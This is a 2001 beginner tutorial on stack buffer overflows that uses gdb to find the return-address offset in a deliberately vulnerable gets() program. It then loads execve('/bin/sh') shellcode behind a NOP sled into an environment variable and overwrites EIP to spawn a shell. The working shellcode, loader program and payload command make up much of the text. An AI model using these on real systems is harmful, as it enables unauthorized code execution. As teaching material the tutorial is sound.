Text: buffer overflow howto Author: lockdown (www.lockeddown.net) Date: December 9, 2001 There are many texts on this subject but I think I have a new angle to offer people trying to learn overflows. This text is extremely basic and assumes you know c and have read other texts that explain the concepts such as aleph1's "smashing the stack for fun and profit" (http://www.phrack.org/show.php?p=49&a=14). I am simply gonna walk you through doing a basic overflow and you should try this stuff while you are reading it and go beyond what I am telling you. First we need a vulnerable program, we will use: #include void main() { char buffer[10]; gets(buffer); } Compile that on your box, you will get a few warnings just ignore them. Our buffer size is 10 bytes and we know ebp and eip are 4 bytes each. So we feed it a string of 18 bytes and it should crash because we will overwrite eip. I am gonna try to fill the buffer with a's, ebp with b's and eip with c's. lockdown$./bof aaaaaaaaaabbbbcccc Segmentation fault (core dumped) Perfect it crashed, now lets examine the memory. lockdown$gdb ./bof core GNU gdb 5.0 Copyright 2000 Free Software Foundation, Inc. ... (gdb) x/x $ebp 0x63636262: Cannot access memory at address 0x63636262 (gdb) x/x $eip 0x4000636d : 0xff88558b That didn't work and two of the c's are in ebp so are string is two bytes short. This is because buffer[10] gets 12 bytes reserved for it. All character buffers are rounded up to the nearest 4 byte boundary unless it is specifically compiled otherwise. So now lets go back and try using 12 a's, 4 b's, and 4 c's. lockdown$./bof aaaaaaaaaaaabbbbcccc Segmentation fault (core dumped) lockdown$gdb ./bof core GNU gdb 5.0 Copyright 2000 Free Software Foundation, Inc. ... #0 0x63636363 in ?? () (gdb) x/x $ebp 0x62626262: Cannot access memory at address 0x62626262 (gdb) x/x $eip 0x63636363: Cannot access memory at address 0x63636363 There we go, now we have 4 c's overwriting the instruction pointer. Now if we overwrite eip with an address containing our shellcode then when the function returns, main in this case, our shellcode will be executed. But where do we put our shellcode and how do we find its address? To keep this easy to follow we are gonna load our shellcode into the enviroment and execute a shell. If we don't execute the shell then the shellcode is removed from the environment when the program exits. The following program will do this: #include /* This is linux shellcode, if you are using BSD then you need shellcode for that. */ char shellcode[]= "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main() { char shell[512]; memset(shell,0x90,512); memcpy(&shell[512-strlen(shellcode)],shellcode,strlen(shellcode)); memcpy(shell,"SHELLCODE=",10); putenv(shell); execl("/bin/bash","bash",'\0'); return(0); } If bash is in a different location for you then fix that path. Then compile and run it. Then gdb the vulnerable program again and lets look for the address of our shellcode. lockdown$gdb ./bof core GNU gdb 5.0 Copyright 2000 Free Software Foundation, Inc. ... (gdb) x/s $esp 0xbffff7b0: "ë\222\004@\001" (gdb) 0xbffff7b6: "" Now just keep hitting enter till you see your environment, it is a long ways down. 0xbffffcbe: "MAIL=/var/spool/mail/lockdown" (gdb) 0xbffffcdc: "SHELLCODE=", '\220' ... (gdb) 0xbffffda4: '\220' ... There we go, \220 is the NOPs and any address that points to the NOPs works. (gdb) x/x 0xbffffda4 0xbffffda4: 0x90909090 All NOPs at that address so we will use it. x86 is little endian so we need to format the address like wise. So our string is 12 a's, 4 b's, and then our address 0xbffffda4 which is \xa4\xfd\xff\xbf in little endian. lockdown$(echo -e "aaaaaaaaaaaabbbb\xa4\xfd\xff\xbf\n";cat)|./bof id uid=1039(lockdown) gid=100(users) groups=100(users) ls bof bof.c core load load.c Bingo it worked, my id isn't raised since bof isn't suid. Also notice the spawned shell has no prompt because you are communicating to it using cat through a pipe. Without the cat the shell will close on you. Well that concludes doing your first buffer overflow. It isn't pretty but I think it is easier to understand this way. For an example how to combine this into one program check out http://lockeddown.net/samples/solbo1.c To do more advanced things learn gdb well, http://www.gnu.org/manual/gdb-4.17/html_chapter/gdb_toc.html and read texts on different techniques such as the ones at phrack.org and community.core-sdi.com/~juliano/